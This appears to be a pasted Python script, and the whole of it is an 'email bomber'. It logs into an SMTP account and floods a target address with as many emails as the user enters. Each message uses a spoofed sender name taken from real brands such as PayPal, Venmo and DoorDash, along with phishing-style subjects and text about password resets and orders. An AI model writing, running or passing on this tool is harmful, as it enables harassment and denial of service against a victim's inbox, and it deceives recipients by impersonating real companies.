JustPaste.it
import smtplib
import random


# input your smtp credentials here
email = "SMTP_email@domain.com"
password = "SMP_password"
mail_server = "smtp.domain.com"
port = 587


# set subjects. bodies, and from names to pick from randomly each email, the more the better
subjects = ["Payment Renewal", "Order Confirmation", "Shipping details", "Order Status", "Password Reset", "Account Details"]

bodies = ["You are recieving this email because your order status has been confirmed", "This email contains information related to your recent order", "Account security update. Please reset your password to view your account"]

from_names = ["Wendy's", "Burger King", "Deliveroo", "GrubHub", "Venmo", "Kohl's", "Macy's", "Arby's", "McDonalds", "DoorDash", "PayPal", "KFC", "JC Penny", ""]


# function to send emails
def send_emails(email, password, mail_server, port, recipient, amount):
    try:
        server = smtplib.SMTP(mail_server, port)
        server.starttls()
        server.ehlo()
        server.login(email, password)

        print(f"Sending {amount} emails to {recipient}...")
        for _ in range(amount):
            subject = random.choice(subjects)
            body = random.choice(bodies)
            from_name = random.choice(from_names)
            message_text = f'From: {from_name} <{email}>\nSubject: {subject}\n\n{body}'
            try:
                server.sendmail(email, recipient, message_text)

            except Exception as e:
                print(str(e))
                return
       
        server.quit()
        print(f"Successfully sent {amount} emails to {recipient}")
   
    except smtplib.SMTPAuthenticationError:
        print("Error connectiong to SMTP server")


# get recepient email and amount, then call the function
if __name__ == '__main__':
    recipient = input("Enter the email you would like to bomb: ")
    amount = int(input("Amount of emails: "))
    send_emails(email, password, mail_server, port, recipient, amount)